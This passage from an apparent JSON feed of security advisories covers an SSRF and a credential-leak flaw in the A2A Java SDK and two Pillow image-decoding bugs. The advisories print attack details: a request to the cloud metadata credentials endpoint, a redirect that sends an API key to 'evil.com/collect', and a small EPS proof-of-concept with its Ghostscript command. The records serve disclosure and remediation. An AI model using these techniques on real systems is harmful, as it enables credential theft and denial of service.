delivery","summary":"---\n\n- **Ecosystem:** Maven\n- **Affected package:** `org.a2aproject.sdk:a2a-java-sdk-server-common` (push-notification delivery)\n- **Affected versions:** ` /latest/meta-data/iam/security-credentials/`. Use\n `returnImmediately: true`, header `A2A-Version: 1.0`, and role `ROLE_USER`. The URL is stored\n verbatim. (Equivalent via `CreateTaskPushNotificationConfig` on an existing task.)\n3. As the task emits state/artifact updates, the sender POSTs each one to the stored URL, from the\n server's own network position:","detail":"---\n\n- **Ecosystem:** Maven\n- **Affected package:** `org.a2aproject.sdk:a2a-java-sdk-server-common` (push-notification delivery)\n- **Affected versions:** ` /latest/meta-data/iam/security-credentials/`. Use\n `returnImmediately: true`, header `A2A-Version: 1.0`, and role `ROLE_USER`. The URL is stored\n verbatim. (Equivalent via `CreateTaskPushNotificationConfig` on an existing task.)\n3. As the task emits state/artifact updates, the sender POSTs each one to the stored URL, from the\n server's own network position:\n\n ```\n POST /latest/meta-data/iam/security-credentials/ HTTP/1.1\n Host: 169.254.169.254\n Content-Type: application/json\n\n {\"artifactUpdate\":{\"taskId\":\"...\",\"artifact\":{\"parts\":[{\"text\":\"Progress update 1/20\"}]}, ...}}\n ```\n\nOne `SendMessage` produced multiple server-side POSTs to the attacker-chosen internal path.\nVerified on `main` (commit `72d220c`, JDK 21) and unchanged on `1.2.0.Final`.\n\n## Remediation\n\nValidate the *resolved* IP of the target and of every redirect hop before connecting: reject\nloopback / RFC1918 / link-local / metadata / unique-local / unspecified / multicast; restrict the\nscheme to `http`/`https`; cap redirects; and resolve-and-pin to defeat DNS rebinding. Enable by\ndefault, with a documented opt-out for deployments that intentionally target internal webhooks. The\nGo A2A SDK ships a dial-time resolved-IP guard of this shape by default.\n\n**Workaround:** until a fixed release, block the host's outbound egress to the metadata endpoint\nand internal ranges at the network layer.\n\n## References\n\n- CWE-918: Server-Side Request Forgery: https://cwe.mitre.org/data/definitions/918.html\n\nAffected package ranges reported by GitHub:\norg.a2aproject.sdk:a2a-java-sdk-server-common: < 1.3.0.Final","action":"GitHub lists first patched versions: org.a2aproject.sdk:a2a-java-sdk-server-common: 1.3.0.Final. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T21:06:22.000Z","updatedAt":"2026-10-20T21:06:23.000Z","regions":["Global"],"vendor":null,"product":"org.a2aproject.sdk:a2a-java-sdk-server-common","stacks":["Java","Java packages (Maven)","org.a2aproject.sdk:a2a-java-sdk-server-common","maven"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-q78c-5jjq-57g8","asOf":"2026-10-20T21:06:23.000Z"},"epss":{"probability":0.00586,"percentile":0.47719,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111761&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-q78c-5jjq-57g8","url":"https://github.com/advisories/GHSA-q78c-5jjq-57g8","type":"primary","publishedAt":"2026-10-20T21:06:22.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-q78c-5jjq-57g8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-q78c-5jjq-57g8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-q78c-5jjq-57g8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-q78c-5jjq-57g8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-q78c-5jjq-57g8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-q78c-5jjq-57g8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-q78c-5jjq-57g8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-q78c-5jjq-57g8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-q78c-5jjq-57g8, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111761&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111761, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111763","cveId":"CVE-2026-111763","aliases":["GHSA-9rhm-2h4x-jwmx"],"kind":"vulnerability","title":"A2A Java SDK send client credentials under server-controlled HTTP header name, enabling leakage via redirect","summary":"*Impact.** A malicious or compromised A2A agent can cause the client's API key credential to be forwarded to an arbitrary third-party server. The agent serves an AgentCard with an `APIKeySecurityScheme` specifying a custom header name, then responds with an HTTP redirect. The JDK HttpClient follows the redirect and forwards the custom header containing the credential, since only the standard `Authorization` header may be stripped on cross-origin redirects.\n\n**Where.** `client/transport/spi/src/main/java/org/a2aproject/sdk/client/transport/spi/interceptors/auth/AuthInterceptor.java:69` in `intercept`","detail":"*Impact.** A malicious or compromised A2A agent can cause the client's API key credential to be forwarded to an arbitrary third-party server. The agent serves an AgentCard with an `APIKeySecurityScheme` specifying a custom header name, then responds with an HTTP redirect. The JDK HttpClient follows the redirect and forwards the custom header containing the credential, since only the standard `Authorization` header may be stripped on cross-origin redirects.\n\n**Where.** `client/transport/spi/src/main/java/org/a2aproject/sdk/client/transport/spi/interceptors/auth/AuthInterceptor.java:69` in `intercept`\n\n**What.** The `apiKeySecurityScheme.name()` field from the remote agent's AgentCard (untrusted, server-controlled data) is used directly as the HTTP header name when placing client credentials. Combined with `JdkA2AHttpClient`'s `followRedirects(NORMAL)` policy, credentials under custom header names survive cross-origin redirects (only `Authorization` is stripped on newer JDKs), allowing a malicious agent to leak client credentials to third-party servers. Additionally, `AuthInterceptor` does not check that `location==HEADER` before placing the credential as a header.\n\n**Exploit scenario.** Client configures an API key credential for agent's security scheme `myAuth`. The malicious agent returns an AgentCard where `securitySchemes` includes `myAuth` as `APIKeySecurityScheme` with `name='X-Leaked-Cred'` and `location=HEADER`. `AuthInterceptor` places the credential in the `X-Leaked-Cred` header. The agent responds with HTTP 302 redirect to `https://evil.com/collect`. `JdkA2AHttpClient` follows the redirect, forwarding all custom headers including `X-Leaked-Cred` to `evil.com`. The attacker captures the client's credential.\n\n**Preconditions.**\n- Client application has configured API key credentials via `CredentialService` for the agent's security scheme\n- The agent is malicious or compromised (controls its own AgentCard response)\n- The default `JdkA2AHttpClient` is used (with `followRedirects=NORMAL`)\n- The JDK version does not strip custom headers on cross-origin redirects (all current versions)\n\n**Fix.** Validate the `APIKeySecurityScheme.name()` field against a whitelist of safe header names. Check that `apiKeySecurityScheme.location()` equals `Location.HEADER` before placing the credential as a header. Consider using `followRedirects(NEVER)` and implementing manual redirect handling that strips all authentication headers on cross-origin redirects.\n\n**Verification.** 2/3 lens verifiers confirmed.\n\nAffected package ranges reported by GitHub:\norg.a2aproject.sdk:a2a-java-sdk-parent: < 1.3.0.Final","action":"GitHub lists first patched versions: org.a2aproject.sdk:a2a-java-sdk-parent: 1.3.0.Final. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T21:04:16.000Z","updatedAt":"2026-10-20T21:04:17.000Z","regions":["Global"],"vendor":null,"product":"org.a2aproject.sdk:a2a-java-sdk-parent","stacks":["Java","Java packages (Maven)","org.a2aproject.sdk:a2a-java-sdk-parent","maven"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.7,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-9rhm-2h4x-jwmx","asOf":"2026-10-20T21:04:17.000Z"},"epss":{"probability":0.00141,"percentile":0.03375,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111763&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-9rhm-2h4x-jwmx","url":"https://github.com/advisories/GHSA-9rhm-2h4x-jwmx","type":"primary","publishedAt":"2026-10-20T21:04:16.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-9rhm-2h4x-jwmx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-9rhm-2h4x-jwmx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-9rhm-2h4x-jwmx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-9rhm-2h4x-jwmx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-9rhm-2h4x-jwmx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-9rhm-2h4x-jwmx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-9rhm-2h4x-jwmx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-9rhm-2h4x-jwmx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-9rhm-2h4x-jwmx, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111763&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111763, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112899","cveId":"CVE-2026-112899","aliases":["GHSA-vx6w-vv9f-6gvg"],"kind":"vulnerability","title":"Pillow: EPS load(scale) lets Ghostscript render past the decompression bomb limit","summary":"```\n============================================================================\nEPS load(scale) lets Ghostscript render past the decompression bomb limit\nLocation: src/PIL/EpsImagePlugin.py:92 in Ghostscript()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nWhen an application opens an untrusted Encapsulated PostScript file and asks Pillow to render it at a larger scale, Pillow has Ghostscript produce an image several times bigger than Pillow's configured size limit allows. The size check runs only after Ghostscript has finished rendering and written the full raw image to a temporary file. An attacker who can upload a file of about 100 bytes makes each such request spend scale² times the Ghostscript rendering work and temporary disk space that the limit is meant to permit. For example, at scale 2 that is a 972 MB temporary file.","detail":"```\n============================================================================\nEPS load(scale) lets Ghostscript render past the decompression bomb limit\nLocation: src/PIL/EpsImagePlugin.py:92 in Ghostscript()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nWhen an application opens an untrusted Encapsulated PostScript file and asks Pillow to render it at a larger scale, Pillow has Ghostscript produce an image several times bigger than Pillow's configured size limit allows. The size check runs only after Ghostscript has finished rendering and written the full raw image to a temporary file. An attacker who can upload a file of about 100 bytes makes each such request spend scale² times the Ghostscript rendering work and temporary disk space that the limit is meant to permit. For example, at scale 2 that is a 972 MB temporary file.\n\nThe cause is in `Ghostscript()` in `src/PIL/EpsImagePlugin.py`. It multiplies the file-declared size by the caller's `scale` (lines 93-94) and passes the product to `gs` as the `-g` output geometry. It never calls `Image._decompression_bomb_check()` on the scaled size. The only check is the one `Image.open()` ran on the unscaled size, so a file declaring 9000×9000 passes, and `load(scale=2)` then asks Ghostscript for 18000×18000 (3.6× `MAX_IMAGE_PIXELS`). A file declaring 18000×18000 directly would be refused before Ghostscript ever ran. `DecompressionBombError` fires only when Pillow reopens the output file, so Pillow's own in-process allocation stays bounded and there is no memory corruption.\n\nThe effect is a constant-factor overshoot rather than an unbounded one, for three reasons:\n\n* The multiplier is an integer chosen by the application, not by the file.\n* With the default warning filter, `Image.open()` already lets files up to 2× the limit reach Ghostscript at `scale=1`.\n* Any application feeding untrusted files to Ghostscript is already exposed to a tiny file that keeps Ghostscript busy indefinitely, since `gs` runs with no timeout.\n\nThis is the EPS counterpart of the WMF `load(dpi)` gap closed in af70b075a. It has been present since the decompression-bomb limit was introduced in ce2955ec7 (2.5.0). The attached reproducer stubs out Ghostscript and shows a 76-byte file passing `Image.open()` and reaching `gs` with `-g18000x18000`. A one-line patch mirroring the WMF check is included.\n\n## Details\n\n`EpsImageFile.load(scale=N)` (the documented way to rasterise an EPS at higher resolution) renders `width*N × height*N` pixels through Ghostscript, but the only decompression-bomb check on the way is the one `Image.open()` ran on the *unscaled*, file-declared `width × height`. The scaled product is never passed to `Image._decompression_bomb_check()` before `gs` is started.\n\nThis 111-byte EPS declares 9000×9000 = 81,000,000 pixels, below the default `MAX_IMAGE_PIXELS` (89,478,485), so `Image.open()` accepts it without even a warning:\n\n```\n%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 9000 9000\n%%EndComments\n0 0 moveto 9000 9000 lineto stroke\nshowpage\n```\n\n`im.load(scale=2)` on it then executes\n\n```\ngs -q -g18000x18000 -r144.000000x144.000000 -dBATCH -dNOPAUSE -dSAFER -sDEVICE=pnmraw -sOutputFile=/tmp/tmpXXXX -c 0 0 translate -f attack.eps -c showpage\n```\n\ni.e. asks Ghostscript for an 18000×18000 = 324,000,000-pixel raster (3.6× `MAX_IMAGE_PIXELS`), whose `pnmraw` output is a 972,000,019-byte file in the temp directory. An EPS that declares 18000×18000 directly is rejected by `Image.open()` with `DecompressionBombError` before Ghostscript is ever run; via `scale=2` the same raster is rendered first and the `DecompressionBombError` only appears afterwards, when Pillow opens the file Ghostscript produced. (Between 1× and 2× `MAX_IMAGE_PIXELS`, `Image.open()` only emits `DecompressionBombWarning`, so with the default warning filter an EPS declaring e.g. 13377×13377 is already rendered at `scale=1` — a 537 MB PNM. Against that baseline, `scale=2` is 4× an already-permitted render.)\n\nThe arithmetic is in `Ghostscript()`:\n\n```python\n# src/PIL/EpsImagePlugin.py:91-97\n # Hack to support hi-res rendering\n scale = int(scale) or 1\n width = size[0] * scale\n height = size[1] * scale\n # resolution is dependent on bbox and size\n res_x = 72.0 * width / (bbox[2] - bbox[0])\n …\n# src/PIL/EpsImagePlugin.py:139-142\n command = [\n gs_binary,\n \"-q\", # quiet mode\n f\"-g{width:d}x{height:d}\", # set output geometry (pixels)\n …\n# src/PIL/EpsImagePlugin.py:165-168\n subprocess.check_call(command, startupinfo=startupinfo)\n with Image.open(outfile) as out_im:\n out_im.load()\n return out_im.im.copy()\n```\n\nand its caller does nothing between taking `scale` from the application and invoking it:\n\n```python\n# src/PIL/EpsImagePlugin.py:411-417\n def load(self, scale: int = 1, transparency: bool = False) -> …:\n # Load EPS via Ghostscript\n if self.tile:\n assert self.fp is not None\n self.im = Ghostscript(self.tile, self.size, self.fp, scale, transparency)\n```\n\n`size` here is `self._size`, computed in `_open()` from the file's `%%BoundingBox` (or `%ImageData`) and checked once by `Image.open()` at `src/PIL/Image.py:3700`. For the benign path (`scale=1`) that check covers exactly what Ghostscript is asked to render. For `scale=N` the rendered pixel count is N² times what was checked, so a file can sit just under the limit at open time and have Ghostscript render 4× (scale 2), 9× (scale 3), 16× (scale 4) the configured budget. The first point at which Pillow looks at the real size again is `Image.open(outfile)` at line 166 — after `subprocess.check_call` has returned, i.e. after Ghostscript has spent the CPU and written `width*height*3` bytes to `tempfile.mkstemp()`'s directory.\n\n`WmfStubImageFile.load(dpi)` has the same shape (file-derived extent × caller-supplied factor → new raster) and, since af70b075a, calls `Image._decompression_bomb_check(self.size)` on the recomputed size before rendering (`src/PIL/WmfImagePlugin.py:127-131`\n\nAffected package ranges reported by GitHub:\nPillow: >= 2.3.0, <= 12.3.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T20:53:21.000Z","updatedAt":"2026-10-20T20:53:23.000Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-vx6w-vv9f-6gvg","asOf":"2026-10-20T20:53:23.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-vx6w-vv9f-6gvg","url":"https://github.com/advisories/GHSA-vx6w-vv9f-6gvg","type":"primary","publishedAt":"2026-10-20T20:53:21.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-vx6w-vv9f-6gvg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-vx6w-vv9f-6gvg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-vx6w-vv9f-6gvg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-vx6w-vv9f-6gvg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-vx6w-vv9f-6gvg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-vx6w-vv9f-6gvg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-vx6w-vv9f-6gvg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-vx6w-vv9f-6gvg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-vx6w-vv9f-6gvg, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112395","cveId":"CVE-2026-112395","aliases":["GHSA-462x-pgg6-55fp"],"kind":"vulnerability","title":"Pillow tiled-TIFF decoder reads past tile buffer in copy4 (Unpack.c:1290)","summary":"Pillow's libImaging `_decodeTile` decoder, used to decode tiled TIFF images, allocates a per-tile buffer using `realloc(state->buffer, TIFFTileSize(tiff))`. After each `TIFFReadTile` it then iterates `tile_y` from 0 up to `current_tile_length` and calls the configured row unpacker (here `copy4`) with the source pointer `state->buffer + tile_y * row_byte_size`. When libtiff returns a `tile_bytes_size` smaller than the worst-case `row_byte_size * tile_length`, the inner stride-and-copy loop walks past the realloc'd region and `copy4` performs a 1024-byte `memcpy` that reads up to `(tile_length-1) * row_byte_size + row_byte_size` bytes from a buffer sized only to `tile_bytes_size`. The supplied PoC TIFF triggers a 1024-byte over-read exactly 0 bytes past a 196608-byte allocation. An attacker who can convince a Pillow-using application to decode a crafted TIFF can trigger a process crash (DoS) and may cause adjacent heap memory to be copied into the decoded pixel buffer.\n\nPillow's TIFF decoder, when libtiff reports the file is tiled, takes the `_decodeTile` path. The function:","detail":"### Summary\n\nPillow's libImaging `_decodeTile` decoder, used to decode tiled TIFF images, allocates a per-tile buffer using `realloc(state->buffer, TIFFTileSize(tiff))`. After each `TIFFReadTile` it then iterates `tile_y` from 0 up to `current_tile_length` and calls the configured row unpacker (here `copy4`) with the source pointer `state->buffer + tile_y * row_byte_size`. When libtiff returns a `tile_bytes_size` smaller than the worst-case `row_byte_size * tile_length`, the inner stride-and-copy loop walks past the realloc'd region and `copy4` performs a 1024-byte `memcpy` that reads up to `(tile_length-1) * row_byte_size + row_byte_size` bytes from a buffer sized only to `tile_bytes_size`. The supplied PoC TIFF triggers a 1024-byte over-read exactly 0 bytes past a 196608-byte allocation. An attacker who can convince a Pillow-using application to decode a crafted TIFF can trigger a process crash (DoS) and may cause adjacent heap memory to be copied into the decoded pixel buffer.\n\n### Details\n\nPillow's TIFF decoder, when libtiff reports the file is tiled, takes the `_decodeTile` path. The function:\n\n1. Asks libtiff for `TIFFTileSize(tiff)` (the bytes-per-tile) and `TIFFTileRowSize(tiff)` (the bytes per row *as stored by libtiff*).\n2. Reallocates `state->buffer` to exactly `tile_bytes_size`.\n3. For each tile origin `(x, y)` and each plane, calls `TIFFReadTile` into `state->buffer`, then walks the tile row by row, calling the configured `ImagingShuffler` (here `copy4`) on each row's worth of source bytes.\n\nThe validation done before the loop is:\n\n```c\nif (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) {\n state->errcode = IMAGING_CODEC_BROKEN;\n return -1;\n}\n```\n\nThis rejects oversized libtiff tiles, but it does **not** reject *undersized* ones — i.e. the case where libtiff returns a `tile_bytes_size` strictly **less** than `row_byte_size * tile_length`. The loop body, however, indexes into the buffer assuming the buffer is at least `row_byte_size * tile_length` bytes long.\n\n### Vulnerable Code\n\n```c\n// src/libImaging/TiffDecode.c:446-490 — _decodeTile\nnew_data = realloc(state->buffer, state->bytes); // bytes = tile_bytes_size\nif (!new_data) { ... }\nstate->buffer = new_data;\n\nfor (y = state->yoff; y ysize; y += tile_length) {\n for (plane = 0; plane xoff; x xsize; x += tile_width) {\n if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { ... }\n\n current_tile_width = 